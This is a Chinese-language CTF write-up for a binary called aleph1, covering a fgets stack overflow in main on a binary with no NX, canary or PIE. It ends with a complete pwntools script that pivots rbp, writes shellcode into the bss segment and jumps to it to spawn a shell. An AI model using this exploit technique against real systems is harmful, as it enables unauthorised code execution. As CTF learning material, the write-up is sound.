
这个是同事给的一个题目,据说是铁三的。一开始看了下没啥思路
main函数,其中_bss_start其实就是stdin,这明显存在缓冲区溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char yolo[1024]; // [rsp+0h] [rbp-400h]
  fgets(yolo, 1337, _bss_start);
  return 0;
}看下导入表,基本就只有fgets了

我们再来看看保护措施,什么保护都没看,基本就是写shellcode执行了,但这个不太绝对,但是能有99%吧
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments搜了下,程序中没有jmp esp,call esp,这个路子断了,我们只能利用fgets,我们可能需要一些gadgets
问题是调用完fgets后,rdx的值变了,我们不能通过csu里面的通用gadget来重新调用fgets,因为我们不能正确地设置rdx的值
最后灵机一动,为何不用main函数原有的呢
.text:00000000004005D5 mov     rdx, cs:__bss_start ; stream
.text:00000000004005DC lea     rax, [rbp+yolo]
.text:00000000004005E3 mov     esi, 539h       ; n
.text:00000000004005E8 mov     rdi, rax        ; s
.text:00000000004005EB call    _fgets我只要控制rbp的值就能控制写入的地址,那么最终的思路就是将第一次溢出控制rbp的值,跟着将shellcode写到bss段,再将控制权给到bss就可以了
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-06-04 14:54:00
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 
from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
p = process("./aleph1")
raw_input()
shellcode = asm(shellcraft.sh())
# 0x0000000000400538 : pop rbp ; ret
pop_rbp_ret = 0x400538
mov_std = 0x4005d5
bss_addr = 0x601038
rbp_ctl = bss_addr + 0x400
payload = "A" * 1032 + p64(pop_rbp_ret) + p64(rbp_ctl) +  p64(mov_std) 
p.sendline(payload)
raw_input("send second")
payload2 = shellcode + "\x90" * (1032 - len(shellcode)) + p64(bss_addr)
p.sendline(payload2)
p.interactive()